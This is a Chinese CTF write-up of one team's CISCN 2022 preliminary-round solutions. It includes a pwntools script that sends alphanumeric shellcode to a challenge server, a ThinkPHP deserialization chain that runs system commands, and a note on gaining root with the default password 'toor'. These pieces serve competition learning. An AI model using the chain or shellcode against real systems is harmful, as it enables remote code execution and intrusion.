CISCN2022 初赛WP

咕了有点久了,来发一下

CISCN2022初赛WP

一、 战队信息

战队名称:flag虽不能至,然心向往之

战队排名:第130名

image-20220529204836288

image-20220529204847304

image-20220529204852556

Crypto

签到电台

根据题目的提示从公众号获取两个hint:

  1. 在“标准电码表”找“弼时安全到达了”所对应的7个电码,再跟“密码本”的前7*4个数字分别逐位进行“模十算法”(加不进位、减不借位),所得到的就是要发送的电码。发送电码前先发送“s”启动,即按3个“.”,这个发送电报的过程可以使用抓包软件进行抓取,可方便输入电报。

  2. “弼时安全到达了”所对应的7个电码:1732 2514 1344 0356 0451 6671 0055。模十算法示例:1732与6378得到7000,发包示例:/send?msg=s

然后访问/secret看到密码,取前28个做模10运算,再用hint2的发包方式发送得到flag。

基于挑战码的双向认证

这题给了 ssh,有权限就想着先连一下,连上去之后试试 find / | grep "flag.txt" 找到一个类似 flag的东西,但是不是 flag,此时又看到两个题目是连着的,所以就猜测应该是 flag1.txtflag2.txt。寻找之后发现 /root/cube-shell/instance/flag_server/ 目录下存在,然后就直接拿到两个题目的 flag 了。

基于挑战码的双向认证3

有了前两道题目的铺垫之后,又试了试查看该目录下的 flag 发现权限不够,然后就尝试提权,直接试试看默认密码,随便输了几个试到了 toor 直接就提权了,然后拿下flag。

ISO9798

链接靶机,有pow,爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
from hashlib import *
hash='ed8e248b4ec6828ea8f2cda56293484cbff40d934aba1e641cc3fcbf94e1757c'
sss='Eee9sVQumMWXoLEL'
table='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for ch1 in table:
for ch2 in table:
for ch3 in table:
for ch4 in table:
hashvalue=sha256((ch1+ch2+ch3+ch4+sss).encode()).hexdigest()
if hashvalue==hash:
print(ch1+ch2+ch3+ch4)
quit()

然后输入32个0过第二步

返回一长串字符串

4993ad5ec5dfd5147003438c0e6afd696b026f48fb9676d625dbb6e2b1536b803c4d2e0a001b998f0d6afcb063e71fd8

根据提示分成ra,rb,k

ra=4993ad5ec5dfd5147003438c0e6afd69

rb=6b026f48fb9676d625dbb6e2b1536b80

K=3c4d2e0a001b998f0d6afcb063e71fd8

然后组合一下rb+ra为

6b026f48fb9676d625dbb6e2b1536b804993ad5ec5dfd5147003438c0e6afd69

打入出flag

Pwn

漏洞点在选项2,选项2用 mmap 开辟了一个可读可写可执行的内存,并可以往上面写东西,并且执行过去,那么就确定要在上面写 shellcode,但是之前有三个check,后两个经过交叉引用可知在选项 1 中给 ro0t 可以将它置为1,于是我们就先用选项 1 置为1,再用选项 2 去写 shellcode,但是每个字节都有 isprintcheck,那好办,就直接写 alphanumeric shellcode

在下面这个文章中找到用的shellcode

1
https://blog.csdn.net/Y_peak/article/details/115307573

然后写出exp

1
2
3
4
5
6
7
8
9
#coding=utf-8
from pwn import*
#io=process('./login')
io=remote('101.201.123.35',27290)
io.sendline('opt:1\r\nmsg:ro0t\r\n')
code = b'Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
io.sendline(b'opt:2\r\nmsg:'+code+b'\r\n')
io.interactive()

web

TP的新链子,具体漏洞分析在这:

1
https://www.freebuf.com/vuls/321546.html

下图可见在/index.php/Index/test POST传序列化字符串给a即可

1

POC在此,ls一下再读下flag即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['ls']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
?>

Reverse

baby_tree

直接看ast,assign_expr是赋值语句,binary_expr里面decl=后面是运算符,argument_list里的两个argument参与运算,分析一下主要逻辑,写出对应的解密脚本。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
unsigned char b[] = {88, 35, 88, 225, 7, 201, 57, 94, 77, 56, 75, 168, 72, 218, 64, 91, 16, 101, 32, 207, 73, 130, 74, 128, 76, 201, 16, 248, 41, 205, 103, 84, 91, 99, 79, 202, 22, 131, 63, 255, 20, 16};
unsigned char k[] = "345y";
int main()
{
for (int i = 0; i < 42 - 3; i++)
{
unsigned char tmp = k[0];
k[0] = k[1];
k[1] = k[2];
k[2] = k[3];
k[3] = tmp;
}
for (int i = 42 - 4; i >= 0; i--)
{
unsigned char r0 = b[i + 0], r1 = b[i + 1], r2 = b[i + 2], r3 = b[i + 3];
unsigned char tmp = k[3];
k[3] = k[2];
k[2] = k[1];
k[1] = k[0];
k[0] = tmp;
b[i + 0] = r2 ^ k[2];
b[i + 1] = r3 ^ k[3];
b[i + 2] = ((k[0] + (b[i + 0] >> 4)) & 0xff) ^ r0;
b[i + 3] = ((k[1] + (b[i + 1] >> 2)) & 0xff) ^ r1;
}
for (int i = 0; i < 42; i++)
{
putchar(b[i]);
}
return 0;
}

运行上面的程序拿到flag

MISC

everlasting_night

本来以为不是lsb隐写(因为隐藏字母太小太犄角旮旯了没看见),查看属性无信息获取

拉入010editor中查看png的文件头和文件尾,发现文件尾后面有一段多出来的字符,不知道是做什么的,先放着

1653813046204

题目提示含lsb隐写后,拉入Stegsolve查看,终于在Alpha2处发现右下角有猫腻

1653821873989

但是分析并没有得出信息,坚信信息就隐藏在这里,查阅字典发现row译为中文是行,column是柱,猜测可能是因为右下角的信息是一列的,而我刚开始查看是以行查看,修改成功数据后发现隐藏文本

1653813260877

拿到这串数字后第一反应使用lsb的工具

1653824152028

拿到一个文本文件,拉入010查看发现是压缩包文件头,果断修改后缀名为rar

但是解压需要密码,猜测开头在文件尾后的那一串是密码,但是输入后发现不是,猜测可能是某种加密,广泛尝试后发现是md5隐写

1653817094602解压后得到一个没有后缀的flag文件

1653822607451

拉入010发现是PNG文件,本来想通过改后缀名拿到答案,后来发现还是太天真

使用ps和画图打开无果,想到gimp,将文件后缀名改为data后用gimp打开

1653824657534

发现图片有些怪怪的,本来想拼图找一下flag,但是实在考验眼力,于是尝试修改各种数值,发现猫腻出在宽度上

1653824747017

拿到答案,提交

ez_usb

使用 wireshark 打开发现是 usb 键盘流量

有两个不同的 usb.addr 发送数据,分别将其保存到两个不同的流量包

用键盘流量分析工具对其提取数据:https://github.com/WangYihang/UsbKeyboardDataHacker

发现有一个 rar 文件,一个 35c535765e50074a,打开rar文件发现需要密码,应该另一串字符就是密码,输入成功拿到 flag 文件

问卷调查

填个问卷而已

文章目录
  1. 1. CISCN2022初赛WP
    1. 1.1. 一、 战队信息
    2. 1.2. Crypto
      1. 1.2.1. 签到电台
      2. 1.2.2. 基于挑战码的双向认证
      3. 1.2.3. 基于挑战码的双向认证3
      4. 1.2.4. ISO9798
    3. 1.3. Pwn
    4. 1.4. web
    5. 1.5. Reverse
      1. 1.5.1. baby_tree
    6. 1.6. MISC
      1. 1.6.1. everlasting_night
      2. 1.6.2. ez_usb
      3. 1.6.3. 问卷调查
|